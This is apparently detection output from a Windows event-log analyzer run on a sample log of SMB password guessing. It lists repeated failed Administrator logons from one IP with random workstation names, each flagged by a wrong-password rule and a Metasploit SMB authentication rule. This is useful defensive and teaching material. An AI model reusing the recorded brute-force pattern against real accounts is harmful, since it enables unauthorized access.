Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.408 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: q9DyH9oxFbRTCQ80 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.408 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.458 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5LZo1ljGLOVKhwcC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.458 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.556 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GvY6Q7RGKwjehARC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.556 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.600 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: uKLrHVMevqniTck8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.600 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.645 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ldxglvKFhLJQ3FV3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.645 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.685 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lRHIAxIj9wFRIg67 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.685 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.725 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Mc7nvfyDfWpnhhBx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.725 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.768 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NB7Y4gPbxose5TsQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.768 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.806 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yKFU6DJ8Wdtp2qdC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.806 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.841 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YlbxRctdClWIOjss : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.841 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.886 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LToi5ANf3tUteu4h : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.886 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.932 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 52YPmYviVPBqJ39Y : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.932 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.985 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JpzKsyxEKNLd8l1u : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.985 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.037 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: r0vd6xEFevamX3jF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.037 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.089 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WR9gJBoN1ra4NI2M : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.089 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.136 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rGYNVrDBIpMBu9GT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.136 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.186 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 57qCysbeaXx12CbY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.186 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.229 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xyJl4mHvgtTv53d9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.229 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.275 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jGBDZCtot2ogcKIO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.275 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.305 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bBhmbqZIi1gX62mM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.305 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.348 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: o7d4bcBJV1jlRgdt : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.348 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.397 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FtfFb6hMHJiFXxai : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.397 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.441 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: frlsZMDcdb5WaW99 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.441 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.484 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CFV8UiUTRCCfab9l : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.484 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.537 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZI8P6ZeVRmQlbGtz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.537 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.572 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UmJI7S1nj5hfWZqv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.572 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.624 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: veh8XInSzXe8E9UD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.624 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.669 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: a1BuBHLILZ4afwJC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.669 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.721 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NN2h7CHnGSCQZXan : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.721 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.758 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BU3fxfM1qGBJ55HS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.758 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.802 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Q1OlBmhUABabDQbN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.802 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.848 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6DgQtHG7cT05kRXd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.848 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.890 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EUTe3JqVWgDcDcOS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.890 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.933 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nGKgUOyX3USQlESB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.933 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.978 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rcIJ8keQvgax1SuL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.978 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:34.025 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: A7jsyA7bWtVf4sLr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:34.025 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:34.065 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mijnM28fwbgWzkvp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:34.065 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:34.115 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: o6dNmJo7vkacqxA6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:34.115 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:34.155 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FxvD2OWtadDT1Q2c : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:34.155 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:34.185 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WK8Esc50KVWIsLU5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:34.185 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:34.244 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: U07NeCzXSdx5Nlgs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:34.244 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:34.292 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tObVl72GJse2HCGp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:34.292 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:34.335 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nbEnp2E5a3N78OBC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:34.335 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:34.389 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IlRmyinJLWwj5yQg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:34.389 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:34.438 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 92H7tdXinUOxtOLV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:34.438 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:34.493 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Za42EUNuitIXaMBo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:34.493 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:34.547 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kz7OtswOreS0fdeS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:34.547 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 